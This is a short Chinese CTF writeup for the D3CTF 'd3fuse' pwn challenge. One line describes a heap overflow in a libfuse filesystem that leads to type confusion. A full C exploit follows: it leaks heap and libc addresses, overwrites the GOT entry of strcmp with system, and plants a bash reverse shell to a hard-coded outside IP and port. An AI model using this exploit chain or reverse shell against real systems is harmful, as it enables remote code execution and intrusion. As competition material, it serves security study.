D3CTF PWN Writeup

目录

d3fuse

程序借助 libfuse 实现了一个文件系统,存在堆溢出的漏洞,修改 flags 字段来实现类型混淆,达到任意地址读写的效果。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>

char buffer[0x1000];

struct context{
    char filename[0x20];
    int isDirectories;
    int size;
    struct context *list;
}fake_context[4];


int main()
{
    setbuf(stdin, 0LL);
    setbuf(stdout, 0LL);
    setbuf(stderr, 0LL);

    for (int i = 0; i < 0x50; i++)
    {
        sprintf(buffer, "echo 'wjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjha' > /mnt/chunk%d", i);
        system(buffer);
    }
    system("touch /mnt/bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbccccdddd\xE8\x50\x40");
    system("mv /mnt/chunk48 /mnt/a");
    system("mv /mnt/chunk49 /mnt/b");
    system("mv /mnt/chunk50 /mnt/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb\xFF\x03");
    system("mv /mnt/chunk51 /mnt/c");
    system("mv /mnt/chunk52 /mnt/d");

    int fd = open("/mnt/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb\xFF\x03", O_RDONLY);
    if (fd < 0)
    {
        perror("open1");
        return 0;
    }
    int size = read(fd, buffer, sizeof(buffer));
    if (size < 0)
    {
        perror("read1");
        return 0;
    }
    close(fd);

    unsigned long long leak_heap_addr = *(unsigned long long *)&buffer[0];
    printf("[+] leak_heap_addr: %p\n", (void *)leak_heap_addr);

    unsigned long long free_got = 0x0000000000405018;
    unsigned long long strcmp_got = 0x0000000000405050;


    fake_context[0].size = 0x20;
    sprintf(fake_context[0].filename, "exp0");
    fake_context[0].isDirectories = 0;
    fake_context[0].list = (struct context*)free_got;

    fake_context[1].size = 0x20;
    sprintf(fake_context[1].filename, "exp1");
    fake_context[1].isDirectories = 0;
    fake_context[1].list = (struct context*)strcmp_got;


    fake_context[2].size = 0x20;
    fake_context[2].isDirectories = 0;
    fake_context[2].list = (struct context*)strcmp_got;
    sprintf(fake_context[2].filename, "/bin/bash -c 'bash -i >& /dev/tcp/150.158.29.8/2333 0>&1'");


    printf("[+] write fake context\n");
    fd = open("/mnt/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb\xFF\x03", O_WRONLY);
    if (fd < 0)
    {
        perror("open2");
        return 0;
    }
    size = write(fd, &fake_context, sizeof(fake_context));
    if (size < 0)
    {
        perror("write2");
        return 0;
    }
    close(fd);

    printf("[+] write global context\n");
    unsigned long long write_addr = leak_heap_addr + 0x3a0;
    fd = open("/mnt/bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", O_WRONLY);
    if (fd < 0)
    {
        perror("open3");
        return 0;
    }
    size = write(fd, &write_addr, sizeof(write_addr));
    if (size < 0)
    {
        perror("write3");
        return 0;
    }
    close(fd);

    printf("[+] leak got@free\n");
    fd = open("/mnt/exp0", O_RDONLY);
    if (fd < 0)
    {
        perror("open4");
        return 0;
    }
    size = read(fd, buffer, 8);
    if (size < 0)
    {
        perror("read4");
        return 0;
    }
    close(fd);

    unsigned long long libc_leak =  *(unsigned long long *)buffer;
    printf("[+] got@free leak: %p\n", (void *)libc_leak);

    unsigned long long libc_base = libc_leak - 0x9a700; //0x9d850
    printf("[+] libc_base: %p\n", (void *)libc_base);

    unsigned long long system = libc_base + 0x522c0; //0x55410;
    printf("[+] system: %p\n", (void *)system);

    printf("[+] write got@strcmp\n");
    fd = open("/mnt/exp1", O_WRONLY);
    if (fd < 0)
    {
        perror("open5");
        return 0;
    }
    size = write(fd, &system, 8);
    if (size < 0)
    {
        perror("write5");
        return 0;
    }

    printf("[+] RCE\n");
    open("/mnt/rce", O_WRONLY);
}
0%